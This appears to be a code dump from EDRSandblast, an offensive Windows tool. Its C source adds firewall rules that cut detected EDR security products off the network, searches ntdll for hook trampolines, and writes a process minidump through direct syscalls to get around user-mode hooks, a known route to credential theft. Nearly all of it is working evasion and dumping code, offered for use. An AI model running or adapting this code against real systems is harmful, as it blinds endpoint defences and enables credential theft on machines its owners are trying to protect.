|
||||
PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
exit(1);
|
||||
}
|
||||
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
|
||||
}
|
||||
else {
|
||||
ntdllPE_disk_l = ntdllDiskPe_g;
|
||||
}
|
||||
|
||||
if (ntdllPE_mem) {
|
||||
*ntdllPE_mem = ntdllPE_mem_l;
|
||||
}
|
||||
if (ntdllPE_disk) {
|
||||
*ntdllPE_disk = ntdllPE_disk_l;
|
||||
}
|
||||
}
|
||||
|
||||
void test_trampoline_search()
|
||||
{
|
||||
for (hook* h = searchHooks(NULL); h->disk_function; ++h)
|
||||
{
|
||||
PVOID trampoline = NULL;
|
||||
printf("Looking for %s trampoline ...\n", h->functionName);
|
||||
for (diff* d = h->list_patches; d->disk_ptr; ++d)
|
||||
{
|
||||
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
|
||||
if (trampoline)
|
||||
{
|
||||
printf("\tTrampoline found at %p !\n", trampoline);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!trampoline)
|
||||
printf("\tTRAMPOLINE NOT FOUND !\n");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,451 @@
|
||||
/*
|
||||
|
||||
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
|
||||
|
||||
*/
|
||||
#include "../EDRSandblast.h"
|
||||
#include "Firewalling.h"
|
||||
|
||||
HRESULT FirewallBlockEDRBinaries(fwBlockingRulesList* sFWEntries) {
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
// Create the Firewall blocking rules.
|
||||
for (fwBinaryRules* slistNewFWEntry = sFWEntries->first; slistNewFWEntry != NULL; slistNewFWEntry=slistNewFWEntry->next) {
|
||||
slistNewFWEntry->ruleInboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
|
||||
slistNewFWEntry->ruleOutboundName = (TCHAR*) calloc(FW_RULE_NAME_MAX_LENGTH + 1, sizeof(TCHAR));
|
||||
if (!(slistNewFWEntry->ruleInboundName && slistNewFWEntry->ruleOutboundName)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not allocate memory to create Firewall blocking rules for \"%s\"\n"), slistNewFWEntry->binaryPath);
|
||||
return 1;
|
||||
}
|
||||
|
||||
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_IN, slistNewFWEntry->ruleInboundName);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while creating the Firewall inbound blocking rule for \"%s\" (CreateFirewallRuleBlockBinary failed: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully created Firewall inbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleInboundName, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
|
||||
hrStatus = CreateFirewallRuleBlockBinary(slistNewFWEntry->binaryPath, NET_FW_RULE_DIR_OUT, slistNewFWEntry->ruleOutboundName);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while creating the Firewall outbound blocking rule for \"%s\" (failed with: 0x%08lx)\n"), slistNewFWEntry->binaryPath, hrStatus);
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully created Firewall outbound blocking rule \"%s\" for \"%s\"\n"), slistNewFWEntry->ruleOutboundName, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
// Enumerates the process, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
|
||||
NTSTATUS EnumEDRProcess(fwBlockingRulesList* sFWEntries) {
|
||||
PROCESSENTRY32 pe32;
|
||||
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
|
||||
HANDLE hProcess = INVALID_HANDLE_VALUE;
|
||||
TCHAR binaryPath[MAX_PATH];
|
||||
DWORD szBinaryPath = _countof(binaryPath);
|
||||
|
||||
fwBinaryRules* slistNewFWEntry = NULL;
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_putts_or_not(TEXT("[!] Could not get a snapshot of the system's processes (CreateToolhelp32Snapshot)"));
|
||||
return -1;
|
||||
}
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_putts_or_not(TEXT("[!] Could not retrieve information about the first process (Process32First)"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
do {
|
||||
if (pe32.th32ProcessID == 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[*] Couldn't open handle on process (OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION) %ld\n"), pe32.th32ProcessID);
|
||||
continue;
|
||||
}
|
||||
|
||||
szBinaryPath = _countof(binaryPath);
|
||||
if (!QueryFullProcessImageName(hProcess, 0, binaryPath, &szBinaryPath)) {
|
||||
_tprintf_or_not(TEXT("[*] Couldn't query image information of process with PID %ld (QueryFullProcessImageName failed with 0x%x)\n"), pe32.th32ProcessID, GetLastError());
|
||||
CloseHandle(hProcess);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (isFileSignatureMatchingEDR(binaryPath) || isBinaryPathMatchingEDR(binaryPath)) {
|
||||
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
|
||||
if (!slistNewFWEntry) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry)\n"), pe32.th32ProcessID);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
slistNewFWEntry->binaryPath = _tcsdup(binaryPath);
|
||||
if (!slistNewFWEntry->binaryPath) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path for process with PID %ld (slistNewEntry->binaryPath)\n"), pe32.th32ProcessID);
|
||||
goto cleanup;
|
||||
}
|
||||
fwList_insertSorted(sFWEntries, slistNewFWEntry);
|
||||
_tprintf_or_not(TEXT("[+] Found EDR binary in execution (process with PID %i): \"%s\"\n"), pe32.th32ProcessID, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
|
||||
CloseHandle(hProcess);
|
||||
hProcess = INVALID_HANDLE_VALUE;
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
|
||||
return 0;
|
||||
|
||||
cleanup:
|
||||
if (hProcessSnap != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hProcessSnap);
|
||||
}
|
||||
|
||||
if (hProcess != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Enumerates the Windows services, retrieves their associated binary path, and configures Firewall blocking network inbound / outbound access for binaries associated with EDR products.
|
||||
NTSTATUS EnumEDRServices(fwBlockingRulesList* sFWEntries) {
|
||||
SC_HANDLE hSCManager = NULL;
|
||||
SC_HANDLE hService = NULL;
|
||||
ENUM_SERVICE_STATUS_PROCESS* lpServices = NULL;
|
||||
QUERY_SERVICE_CONFIG* lpServiceConfig = 0;
|
||||
TCHAR serviceBinaryPath[MAX_PATH];
|
||||
TCHAR serviceBinaryPathCopy[MAX_PATH];
|
||||
DWORD lpServicesCount = 0;
|
||||
DWORD dwByteCount = 0, dwBytesNeeded = 0;
|
||||
DWORD dwError = 0;
|
||||
BOOL returnValue;
|
||||
|
||||
fwBinaryRules* slistNewFWEntry = NULL;
|
||||
|
||||
// Open an handle on the Service Control Manager.
|
||||
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
|
||||
if (!hSCManager) {
|
||||
_tprintf_or_not(TEXT("[!] Error while opening handle on the SCM (OpenSCManager failed: 0x%08lx)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Query services through the Service Control Manager, first call always fail due to insufficient buffer size.
|
||||
do {
|
||||
if (lpServices) {
|
||||
free(lpServices);
|
||||
lpServices = NULL;
|
||||
}
|
||||
|
||||
dwByteCount = dwByteCount + dwBytesNeeded;
|
||||
lpServices = (ENUM_SERVICE_STATUS_PROCESS*)calloc(dwByteCount, sizeof(BYTE));
|
||||
if (!lpServices) {
|
||||
_putts_or_not(TEXT("[!] Failed to allocate memory to enumerate services"));
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
returnValue = EnumServicesStatusEx(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | SERVICE_KERNEL_DRIVER | SERVICE_WIN32 | SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS, SERVICE_STATE_ALL, (LPBYTE)lpServices, dwByteCount, &dwBytesNeeded, &lpServicesCount, NULL, NULL);
|
||||
if (!returnValue) {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
else {
|
||||
dwError = 0;
|
||||
}
|
||||
} while (dwError == ERROR_MORE_DATA);
|
||||
|
||||
if (dwError != ERROR_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[!] Could not enumerate EDR services (EnumServicesStatusEx failed: 0x%08lx)\n"), dwError);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
for (DWORD dwIndex = 0; dwIndex < lpServicesCount; dwIndex++) {
|
||||
dwByteCount = 0;
|
||||
dwBytesNeeded = 0;
|
||||
|
||||
hService = OpenService(hSCManager, lpServices[dwIndex].lpServiceName, SERVICE_QUERY_CONFIG);
|
||||
if (!hService) {
|
||||
_tprintf_or_not(TEXT("[!] Could not open handle on service \"%s\" (\"%s\")\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
|
||||
continue;
|
||||
}
|
||||
|
||||
do {
|
||||
if (lpServiceConfig) {
|
||||
free(lpServiceConfig);
|
||||
lpServiceConfig = NULL;
|
||||
}
|
||||
|
||||
lpServiceConfig = (QUERY_SERVICE_CONFIG*)calloc(dwBytesNeeded, sizeof(BYTE));
|
||||
if (!lpServiceConfig) {
|
||||
_putts_or_not(TEXT("[!] Failed to allocate memory to retrieve service configuration"));
|
||||
goto cleanup;
|
||||
}
|
||||
dwByteCount = dwBytesNeeded;
|
||||
|
||||
returnValue = QueryServiceConfig(hService, lpServiceConfig, dwByteCount, &dwBytesNeeded);
|
||||
if (!returnValue) {
|
||||
dwError = GetLastError();
|
||||
}
|
||||
else {
|
||||
dwError = 0;
|
||||
}
|
||||
} while (dwError == ERROR_INSUFFICIENT_BUFFER);
|
||||
|
||||
if (dwError != 0) {
|
||||
_tprintf_or_not(TEXT("[!] Could not query information of service \"%s\" (\"%s\") (QueryServiceConfig failed: 0x%08lx)\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName, dwError);
|
||||
continue;
|
||||
}
|
||||
|
||||
// If binary path is empty, skip service.
|
||||
if (lpServiceConfig->lpBinaryPathName[0] == '\0') {
|
||||
continue;
|
||||
}
|
||||
_tcscpy_s(serviceBinaryPathCopy, _countof(serviceBinaryPathCopy), lpServiceConfig->lpBinaryPathName);
|
||||
|
||||
// replace \SystemRoot\ with %systemroot%\
|
||||
TCHAR* prefix = TEXT("\\SystemRoot\\");
|
||||
SIZE_T prefix_len = _tcslen(prefix);
|
||||
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
|
||||
serviceBinaryPathCopy[0] = '%';
|
||||
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len - 1));
|
||||
memmove(&serviceBinaryPathCopy[prefix_len], &serviceBinaryPathCopy[prefix_len - 1], sizeDisplacement);
|
||||
serviceBinaryPathCopy[prefix_len - 1] = '%';
|
||||
}
|
||||
|
||||
// Remove \\??\\
|
||||
prefix = TEXT("\\??\\");
|
||||
prefix_len = _tcslen(prefix);
|
||||
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
|
||||
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len));
|
||||
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[prefix_len], sizeDisplacement);
|
||||
}
|
||||
|
||||
// insert %systemroot%\ before system32\
|
||||
prefix = TEXT("system32");
|
||||
prefix_len = _tcslen(prefix);
|
||||
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
|
||||
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1);
|
||||
const TCHAR * new_prefix = TEXT("%SystemRoot%\\");
|
||||
SIZE_T new_prefix_len = _tcslen(new_prefix);
|
||||
memmove(&serviceBinaryPathCopy[new_prefix_len], &serviceBinaryPathCopy[0], sizeDisplacement);
|
||||
memcpy(serviceBinaryPathCopy, new_prefix, new_prefix_len * sizeof(TCHAR));
|
||||
}
|
||||
|
||||
// Remove double quotes (replace "xxxxx" with xxxxx).
|
||||
TCHAR * positionSpace = NULL;
|
||||
if (serviceBinaryPathCopy[0] == '"') {
|
||||
TCHAR * positionSecondQuote = _tcschr(&serviceBinaryPathCopy[1], '"');
|
||||
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[1], sizeof(TCHAR) * (positionSecondQuote - &serviceBinaryPathCopy[1]));
|
||||
positionSecondQuote[-1] = '\0';
|
||||
}
|
||||
else
|
||||
// Rermove arguments (replace driver.sys -qsdq azkeaze to driver.sys).
|
||||
if ((positionSpace = _tcschr(serviceBinaryPathCopy, ' ')) != NULL) {
|
||||
*positionSpace = '\0';
|
||||
}
|
||||
|
||||
returnValue = ExpandEnvironmentStrings(serviceBinaryPathCopy, serviceBinaryPath, _countof(serviceBinaryPath));
|
||||
if (!returnValue) {
|
||||
_tprintf_or_not(TEXT("[!] Error while attempting to expand service binary path \"%s\" (ExpandEnvironmentStrings failed: : 0x%08lx)\n"), serviceBinaryPathCopy, GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// check if resulting path is a file, and if it's not missing its extension
|
||||
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
SIZE_T posExtension = _tcslen(serviceBinaryPath);
|
||||
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".exe"));
|
||||
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".sys"));
|
||||
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
|
||||
_tprintf_or_not(TEXT("[!] Did not find service binary '%s' (sanitized path: '%s')\n"), lpServiceConfig->lpBinaryPathName, serviceBinaryPath);
|
||||
// NB : If unquoted service path -> should also print this error message
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (isFileSignatureMatchingEDR(serviceBinaryPath) || isDriverPathMatchingEDR(serviceBinaryPath)) {
|
||||
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
|
||||
if (!slistNewFWEntry) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
slistNewFWEntry->binaryPath = _tcsdup(serviceBinaryPath);
|
||||
if (!slistNewFWEntry->binaryPath) {
|
||||
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry->binaryPath) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
fwList_insertSorted(sFWEntries, slistNewFWEntry);
|
||||
_tprintf_or_not(TEXT("[+] Found EDR binary executed through a service name \"%s\" | path \"%s\"\n"), lpServices[dwIndex].lpServiceName, slistNewFWEntry->binaryPath);
|
||||
}
|
||||
|
||||
if (!CloseServiceHandle(hService)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
//_tprintf_or_not(TEXT("[*] Found service: name => \"%s\" | Display name => \"%s\".\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
|
||||
}
|
||||
|
||||
if (!CloseServiceHandle(hSCManager)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
}
|
||||
|
||||
free(lpServiceConfig);
|
||||
lpServiceConfig = NULL;
|
||||
free(lpServices);
|
||||
lpServices = NULL;
|
||||
|
||||
return 0;
|
||||
|
||||
cleanup:
|
||||
if (hService) {
|
||||
if (!CloseServiceHandle(hService)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (hSCManager) {
|
||||
if (!CloseServiceHandle(hSCManager)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (lpServiceConfig) {
|
||||
free(lpServiceConfig);
|
||||
lpServiceConfig = NULL;
|
||||
}
|
||||
|
||||
if (lpServices) {
|
||||
free(lpServices);
|
||||
lpServices = NULL;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
HRESULT FirewallBlockEDR(fwBlockingRulesList* sFWEntries) {
|
||||
BOOL isElevatedProcess = FALSE;
|
||||
BOOL firewallIsOn = FALSE;
|
||||
DWORD ntStatus = 0;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
isElevatedProcess = IsElevatedProcess();
|
||||
if (!isElevatedProcess) {
|
||||
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to add Firewall rules"));
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
hrStatus = IsFirewallEnabled(&firewallIsOn);
|
||||
if (FAILED(hrStatus)) {
|
||||
_putts_or_not(TEXT("[!] Could not configure Firewall EDR blocking rules: an error occured while attempting to determine the FireWall status"));
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
if (!firewallIsOn) {
|
||||
_putts_or_not(TEXT("[*] The Windows Firewall is NOT active for all active profiles, skipping adding Firewall rules"));
|
||||
return E_FAIL;
|
||||
}
|
||||
_putts_or_not(TEXT("[+] The Windows Firewall is on for all active profiles!"));
|
||||
|
||||
_putts_or_not(TEXT("[*] Enumerating EDR processes.."));
|
||||
ntStatus = EnumEDRProcess(sFWEntries);
|
||||
if (!NT_SUCCESS(ntStatus)) {
|
||||
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR processes"));
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[*] Enumerating EDR services.."));
|
||||
ntStatus = EnumEDRServices(sFWEntries);
|
||||
if (!NT_SUCCESS(ntStatus)) {
|
||||
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR services"));
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[*] Blocking EDR found processes / services's binaries..."));
|
||||
hrStatus = FirewallBlockEDRBinaries(sFWEntries);
|
||||
if (FAILED(hrStatus)) {
|
||||
_putts_or_not(TEXT("[!] An error occured while attempting to create Firewall blocking rules for EDR processes / services"));
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
HRESULT FirewallUnblockEDR(fwBlockingRulesList* sFWEntries) {
|
||||
BOOL isElevatedProcess = FALSE;
|
||||
HRESULT hrStatusFinal = S_OK;
|
||||
HRESULT hrStatusTemp = S_OK;
|
||||
|
||||
isElevatedProcess = IsElevatedProcess();
|
||||
if (!isElevatedProcess) {
|
||||
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to remove Firewall rules"));
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
|
||||
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleInboundName);
|
||||
if (FAILED(hrStatusTemp)) {
|
||||
hrStatusFinal = hrStatusTemp;
|
||||
}
|
||||
|
||||
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleOutboundName);
|
||||
if (FAILED(hrStatusTemp)) {
|
||||
hrStatusFinal = hrStatusTemp;
|
||||
}
|
||||
}
|
||||
|
||||
return hrStatusFinal;
|
||||
}
|
||||
|
||||
void FirewallPrintManualDeletion(fwBlockingRulesList* sFWEntries) {
|
||||
_putts_or_not(TEXT("[*] The Firewall blocking rules created can be manually deleted using the following commands:"));
|
||||
|
||||
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
|
||||
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleInboundName);
|
||||
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleOutboundName);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL fwList_isEmpty(fwBlockingRulesList* fwEntries) {
|
||||
return fwEntries->first == NULL;
|
||||
};
|
||||
|
||||
BOOL fwListElt_isBefore(fwBinaryRules* a, fwBinaryRules* b) {
|
||||
return _tcscmp(a->binaryPath, b->binaryPath) < 0;
|
||||
};
|
||||
|
||||
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry) {
|
||||
fwBinaryRules* first = fwEntries->first;
|
||||
// if first element comes after, insert at the head
|
||||
if (fwList_isEmpty(fwEntries) || fwListElt_isBefore(newFWEntry, first)) {
|
||||
// insert newFWEntry at the head of the list
|
||||
newFWEntry->next = fwEntries->first;
|
||||
fwEntries->first = newFWEntry;
|
||||
return;
|
||||
}
|
||||
|
||||
// browse list from the start until next element comes after (or is equal to) our new element
|
||||
fwBinaryRules* ptr;
|
||||
for (ptr = fwEntries->first;
|
||||
(ptr->next != NULL) && fwListElt_isBefore(ptr->next, newFWEntry);
|
||||
ptr = ptr->next);
|
||||
// if end of the list, or new entry is different to the next one (no duplicate), insert it
|
||||
if ((ptr->next == NULL) || fwListElt_isBefore(newFWEntry, ptr->next)) {
|
||||
// insert newFWEntry after ptr
|
||||
newFWEntry->next = ptr->next;
|
||||
ptr->next = newFWEntry;
|
||||
}
|
||||
else {
|
||||
// duplicate entry, do nothing
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,503 @@
|
||||
#include <Windows.h>
|
||||
#include <minidumpapiset.h>
|
||||
|
||||
#include "ListUtils.h"
|
||||
#include "RemotePEBBrowser.h"
|
||||
#include "StringUtils.h"
|
||||
#include "SyscallProcessUtils.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
#include "Undoc.h"
|
||||
|
||||
#include "ProcessDumpDirectSyscalls.h"
|
||||
|
||||
VOID writeAtRVA(DUMP_CONTEXT* dumpContext, ULONG32 rva, const PVOID data, unsigned size) {
|
||||
memcpy(GetRVA((ULONG_PTR) dumpContext->BaseAddress, rva), data, size);
|
||||
}
|
||||
|
||||
BOOL appendToDump(DUMP_CONTEXT* dumpContext, const PVOID data, DWORD size) {
|
||||
ULONG32 newRVA = dumpContext->RVA + size;
|
||||
if (newRVA < dumpContext->RVA) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: exceeds the 32-bit address space (int overflow)\n"));
|
||||
return FALSE;
|
||||
}
|
||||
else if (dumpContext->DumpMaxSize < newRVA) {
|
||||
while(dumpContext->DumpMaxSize < newRVA){
|
||||
dumpContext->DumpMaxSize *= 2;
|
||||
}
|
||||
PVOID ptr = realloc(dumpContext->BaseAddress, dumpContext->DumpMaxSize);
|
||||
if (!ptr) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: reallocation failed\n"));
|
||||
return FALSE;
|
||||
}
|
||||
dumpContext->BaseAddress = ptr;
|
||||
}
|
||||
|
||||
writeAtRVA(dumpContext, dumpContext->RVA, data, size);
|
||||
dumpContext->RVA = newRVA;
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
BOOL writeMiniDumpHeader(DUMP_CONTEXT* dumpContext) {
|
||||
MINIDUMP_HEADER header = { 0 };
|
||||
header.Signature = dumpContext->Signature;
|
||||
header.Version = dumpContext->Version | (((DWORD)dumpContext->ImplementationVersion)<<16);
|
||||
// Only SystemInfoStream, ModuleListStream and Memory64ListStream streams.
|
||||
header.NumberOfStreams = 3;
|
||||
header.NumberOfStreams = (header.NumberOfStreams + 3) & ~3; // round up to next multiple of 4, https://github.com/w1u0u1/minidump/blob/main/minidump/minidump.c ?
|
||||
header.StreamDirectoryRva = sizeof(MINIDUMP_HEADER);
|
||||
header.CheckSum = 0;
|
||||
header.Reserved = 0;
|
||||
header.TimeDateStamp = 0;
|
||||
header.Flags = MiniDumpWithFullMemory;
|
||||
|
||||
if (!appendToDump(dumpContext, &header, sizeof(MINIDUMP_HEADER))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump header\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpDirectories(DUMP_CONTEXT* dumpContext) {
|
||||
DWORD nbDirectories = 0;
|
||||
|
||||
MINIDUMP_DIRECTORY systemInfoDirectory = { 0 };
|
||||
systemInfoDirectory.StreamType = SystemInfoStream;
|
||||
systemInfoDirectory.Location.DataSize = 0;
|
||||
systemInfoDirectory.Location.Rva = 0;
|
||||
if (!appendToDump(dumpContext, &systemInfoDirectory, sizeof(systemInfoDirectory))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write SystemInfoStream directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
|
||||
MINIDUMP_DIRECTORY moduleListDirectory = { 0 };
|
||||
moduleListDirectory.StreamType = ModuleListStream;
|
||||
moduleListDirectory.Location.DataSize = 0;
|
||||
moduleListDirectory.Location.Rva = 0;
|
||||
if (!appendToDump(dumpContext, &moduleListDirectory, sizeof(moduleListDirectory)))
|
||||
{
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write ModuleListStream directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
|
||||
MINIDUMP_DIRECTORY memory64ListDumpDirectory = { 0 };
|
||||
memory64ListDumpDirectory.StreamType = Memory64ListStream;
|
||||
memory64ListDumpDirectory.Location.DataSize = 0;
|
||||
memory64ListDumpDirectory.Location.Rva = 0;
|
||||
if (!appendToDump(dumpContext, &memory64ListDumpDirectory, sizeof(memory64ListDumpDirectory))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write Memory64ListStream directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
|
||||
while (nbDirectories & 3) {
|
||||
MINIDUMP_DIRECTORY unusedDirectory = { 0 };
|
||||
unusedDirectory.StreamType = UnusedStream;
|
||||
unusedDirectory.Location.DataSize = 0;
|
||||
unusedDirectory.Location.Rva = 0;
|
||||
|
||||
if (!appendToDump(dumpContext, &unusedDirectory, sizeof(unusedDirectory))) {
|
||||
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write unusedDirectory directory\n"));
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
nbDirectories++;
|
||||
}
|
||||
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
|
||||
DWORD writeMiniDumpSystemInfoStream(DUMP_CONTEXT* dumpContext) {
|
||||
MINIDUMP_SYSTEM_INFO dumpSystemInfo = { 0 };
|
||||
|
||||
// read the PEB.
|
||||
#if _WIN64
|
||||
PEB64 peb = *(PPEB64) __readgsqword(0x60);
|
||||
#else
|
||||
PEB peb = *(PPEB) __readfsdword(0x30);
|
||||
#endif
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
|
||||
dumpSystemInfo.ProcessorLevel = sysInfo.wProcessorLevel;
|
||||
dumpSystemInfo.ProcessorRevision = sysInfo.wProcessorRevision;
|
||||
dumpSystemInfo.NumberOfProcessors = (BYTE)sysInfo.dwNumberOfProcessors;
|
||||
dumpSystemInfo.ProductType = VER_NT_WORKSTATION;
|
||||
|
||||
dumpSystemInfo.MajorVersion = peb.OSMajorVersion;
|
||||
dumpSystemInfo.MinorVersion = peb.OSMinorVersion;
|
||||
dumpSystemInfo.BuildNumber = peb.OSBuildNumber;
|
||||
dumpSystemInfo.PlatformId = peb.OSPlatformId;
|
||||
